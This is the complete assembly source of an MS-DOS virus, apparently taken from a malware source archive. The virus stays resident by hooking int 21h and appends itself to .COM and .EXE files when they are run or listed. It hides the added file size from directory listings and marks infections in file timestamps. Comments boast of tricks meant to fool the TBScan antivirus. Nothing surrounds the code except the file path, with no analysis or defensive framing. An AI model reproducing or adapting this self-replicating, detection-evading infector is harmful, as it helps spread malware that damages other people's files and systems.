MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.compo.asm
2021-01-12 17:34:47 -06:00

617 lines
16 KiB
NASM

;% You-name-the-bitch %
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny
.code
org 100h
pagesize equ (((offset last) - (offset start)) shr 9) + 1
parasize equ (((offset last) - (offset start)) shr 4) + 1
bytesize equ (parasize shl 4)
lastpage equ bytesize - (pagesize shl 9)
start:
push ds
call install
entry:
jmp restore
; Information about host program
orgip dw 020CDh ; Entry point if .exe,
orgcs dw 0 ; if .com first 3 bytes of file.
com db 0FFh ; If .exe com=0 if .com com=FF
install:
; Check if already resident
mov ah, 30h ; Get dos version
mov bx, 1009 ; Installation check
int 21h
cmp bx, 9001 ; Is installed?
jne gores
mov bp, sp ; Get delta offset
mov bp, ss:[bp]
ret
org21:
db 0EAh ; Buffer for original int21
org21o dw ?
org21s dw ?
gores:
pop bp
cmp al, 03h ; Check dos version
jb restore
; Try to allocate memory
memall: mov ah, 48h ; Allocate memory
mov bx, parasize+3
int 21h
jnc gohigh
; Try to decrease host memory
push es ; Get MCB
mov bx, es
dec bx
mov es, bx
mov bx, es:[03h] ; Get size of memory
sub bx, parasize+4 ; Calculate needed memory
pop es
mov ah, 4Ah ; Decrease memory block
int 21h
jnc memall ; Allocate memory for virus
jmp restore
gohigh:
; Move virus to new memory
dec ax ; es to new mcb
mov es, ax
mov word ptr es:[1], 8 ; mark dos as owner
mov di, 10h ; Set es:di to new block
push cs ; Set ds:si to virus code
pop ds
mov si, bp
sub si, 4 ; Adjust for first call
mov cx, bytesize
cld
rep movsb
; Install in int21 vector
sub ax, 0Fh ; Adjust for org 100h
mov ds, ax
mov ax, 3521h ; Save int21 vector
int 21h
mov org21o, bx
mov org21s, es
mov ah, 25h ; Set int21 vector
mov dx, offset vector21
int 21h
restore:
; Restore original program
pop es
push es
cmp byte ptr cs:bp[6], 00h ; Check file type
je restexe
; Restore .com program
push es
pop ds
mov di, 100h
push di
mov ax, cs:bp[2]
stosw
mov al, cs:bp[4]
stosb
retf
restexe:
; Restore .exe program
pop ax
mov ds, ax
add ax, cs:bp[4] ; relocate cs
add ax, 10h
push ax
mov ax, cs:bp[2] ; get ip
push ax
retf ; Jump to host
vector21:
cmp ah, 30h ; Get dos version?
jne chkexe
cmp bx, 1009 ; Installation check?
jne chkexe
call dos
mov bx, 9001 ; Return residency code
retf 2
chkexe:
cmp ax, 4B00h ; Load and execute?
jne chkfcb
call infect ; Infect file
jmp chnexit
chkfcb:
cmp ah, 11h ; Find file?
je fcb
cmp ah, 12h ; Find file?
je fcb
cmp ah, 4Eh ; Find handle?
je fhdl
cmp ah, 4Fh ; Find handle?
jne chnexit
fhdl: call dos
jnc fhdls
retf 2
fhdls: jmp findhandle
chnexit:
jmp org21
fcb:
; Called on find first/find next fcb
; Perform dos call
call dos
or al, al ; Check if a file was found
jz exist
retf 2
exist:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax, 6200h ; Get psp
call dos
mov es, bx
cmp bx, es:[16h] ; Ensure that dos is calling
jne fcbexit
call getdta ; Get address of fcb
lodsb ; Check if extended
cmp al, 0FFh
jne noext
add si, 7
noext:
mov bx, si
add si, 8 ; Check extension
lodsw
push ax
add si, 0Ch ; Check for infection
lodsb
and al, 1Fh
cmp al, 03h
pop ax
pushf
add si, 5
cmp ax, 'OC'
je fcbcom
cmp ax, 'XE'
je fcbexe
popf
jmp fcbexit
fcbcom:
; Check for infection
popf
jne fcbcomni
sub word ptr [si], bytesize
jmp fcbexit
fcbcomni:
in al, 41h ; Get timer (rnd)
test al, 03h ; 25% infection
jne fcbexit
call cvtasciz ; Convert to asciz
mov ax, 'C.' ; Append exetnsion
stosw
mov ax, 'MO'
stosw
jmp fcbinfect
fcbexe:
; Check for infection
popf
jne fcbexeni
sub word ptr [si], bytesize
jmp fcbexit
fcbexeni:
in al, 41h ; Get timer (rnd)
test al, 03h ; 25% infection
jne fcbexit
call cvtasciz
mov ax, 'E.'
stosw
mov ax, 'EX'
stosw
fcbinfect:
xor al, al
stosb
mov dx, offset last
push cs
pop ds
call infect
fcbexit:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf 2
cvtasciz proc
push cs ; Convert to asciz
pop es
mov si, bx
mov di, offset last
mov cx, 8
loop3: lodsb
cmp al, ' '
je loopx
stosb
loop loop3
loopx: ret
cvtasciz endp
infect proc
; Called on load and execute
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax, 3D82h ; Open victim
call dos
jc exitinfect
xchg ax, bx
mov ax, 5700h ; Save file date/time
call dos
push dx
push cx
mov ah, 3Fh ; Read first bytes
push cs
pop ds
lea dx, orgip
mov cx, 2
call dos
xor orgip, 4523h ; Check if .exe file
cmp orgip, 'MZ' xor 4523h ; TBScan fooled again...
je infectexe
cmp orgip, 'ZM' xor 4523h
je infectexe
xor orgip, 4523h
jmp infectcom
infectdone:
pop cx ; Restore date/time of file
pop dx
mov ax, 5701h
call dos
mov ah, 3Eh ; Close file
call dos
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
infect endp
infectexe:
; Read header from .exe file
mov ah, 3Fh
lea dx, last ; Use memory above virus
mov cx, 16h
call dos
; Calculate address of entrypoint
mov ax, word ptr last[entryseg] ; Get entry cs value
add ax, word ptr last[headsize] ; Get header size
mov cx, 10h ; Convert to bytes
mul cx
add ax, word ptr last[entryofs] ; add ip offset
adc dx, 00
; Seek to entrypoint
mov cx, dx
xchg dx, ax
mov ax, 4200h
call dos
; Check if already infected
mov ah, 3Fh ; Read bytes at entry
mov cx, 4h
lea dx, orgip
mov si, dx
call dos
lodsw ; Compare entry to virus
cmp ax, word ptr start
jne exenotinf
lodsw
cmp ax, word ptr start[2]
je infectdone
exenotinf:
; Mark infection
pop ax ; Get time stamp
and al, 0E0h ; Mask seconds
or al, 003h ; Set seconds to 6
push ax
; Infect file
lea si, last[entryofs] ; Save program information
lodsw
mov orgip, ax
lodsw
mov orgcs, ax
mov cs:com, 0 ; This is .exe
; Calculate virus entry
mov ax, 4202h ; Seek to eof
xor cx, cx
cwd
call dos
xchg ax, dx ; eof pos in ax:dx
mov cl, 12
shl ax, cl
mov word ptr last[entryseg], ax
xchg ax, dx
xor dx, dx
mov cx, 10h ; Convert eof pos to paras
div cx
sub ax, word ptr last[headsize] ; Calculate entry for virus
add word ptr last[entryseg], ax ; Save in header
mov word ptr last[entryofs], dx
; Recalculate size
mov ax, word ptr last[lastsize]
add ax, bytesize
cwd
mov cx, 200h
div cx
mov word ptr last[lastsize], dx
add word ptr last[pages], ax
mov ah, 3Fh ; Append virus
mov dx, 100h
mov cx, bytesize
inc ah ; TB-Moron(tm)
push ax
call dos
; Save modified exe-header
mov ax, 4200h ; Seek to header
xor cx, cx
mov dx, 2
call dos
pop ax
lea dx, last ; Write header
mov cx, 16h
call dos
jmp infectdone
infectcom:
; Installation check
call ichkcom
jnc comnotinf
jmp infectdone
comnotinf:
; Mark infection
pop ax ; Get time stamp
and al, 0E0h ; Mask seconds
or al, 003h ; Set seconds to 6
push ax
mov com, 0FFh
; Seek to eof
mov ax, 4202h
xor cx, cx
cwd
call dos
; Create jump opcode
sub ax, 3
mov word ptr last, ax
; Append virus
mov ah, 3Fh
mov cx, bytesize
mov dx, 100h
inc ah ; TB...
push ax
call dos
; Write jump to beginning of file
mov ax, 4200h
xor cx, cx
cwd
call dos
pop ax ; TB...
mov cx, 3
lea dx, jumpop
call dos
jmp infectdone
findhandle:
pushf
push ax
push bx
push cx
push si
push di
push ds
push es
call getdta ; dta to es:si and ds:si
mov di, si
mov al, si[16h] ; Get seconds
and al, 1Fh
cmp al, 3
pushf
add di, 1Eh ; di to name
mov cx, 9
mov al, '.'
repne scasb ; scan for extension
xchg si, di
lodsw
cmp ax, 'OC' ; check if com?
je hdlcom
cmp ax, 'XE'
je hdlexe
popf
jmp hdlexit
hdlcom:
hdlexe:
popf
jne hdlexit
sub word ptr di[1Ah], bytesize
sbb word ptr di[1Ch], 0
hdlexit:
pop es
pop ds
pop di
pop si
pop cx
pop bx
pop ax
popf
retf 2
ichkcom proc
; Checks if com-file with handle in bx is infected
mov ax, 4200h ; Seek to beginning
xor cx, cx
cwd
call dos
push ds
mov ah, 3Fh ; Read first bytes
mov cl, 3
mov dx, offset orgip
call dos
cmp byte ptr orgip, 0E9h ; Check if jump
jne icnotinf
mov ax, 4201h ; Seek to entry point
xor cx, cx
mov dx, word ptr orgip[1]
call dos
mov cl, 4
call readtolast ; Get entry point
cmp word ptr last, 0E81Eh
jne icnotinf
cmp word ptr last[2], 00007h
jne icnotinf
pop ds
stc ; Return with carry
ret
icnotinf:
pop ds
clc ; Not infected
ret
ichkcom endp
dos proc
pushf
call dword ptr cs:org21o
ret
dos endp
getdta proc
mov ah, 2Fh ; Get dta
call dos
push es ; ds:si to dta
pop ds
mov si, bx
ret
getdta endp
readtolast proc
mov ah, 3Fh
push cs
pop ds
mov dx, offset last
call dos
ret
readtolast endp
jumpop db 0E9h
last:
exehead struc
lastsize dw ?
pages dw ?
tblesize dw ?
headsize dw ?
minalloc dw ?
maxalloc dw ?
stackseg dw ?
stackofs dw ?
checksum dw ?
entryofs dw ?
entryseg dw ?
exehead ends
end start
================================================================================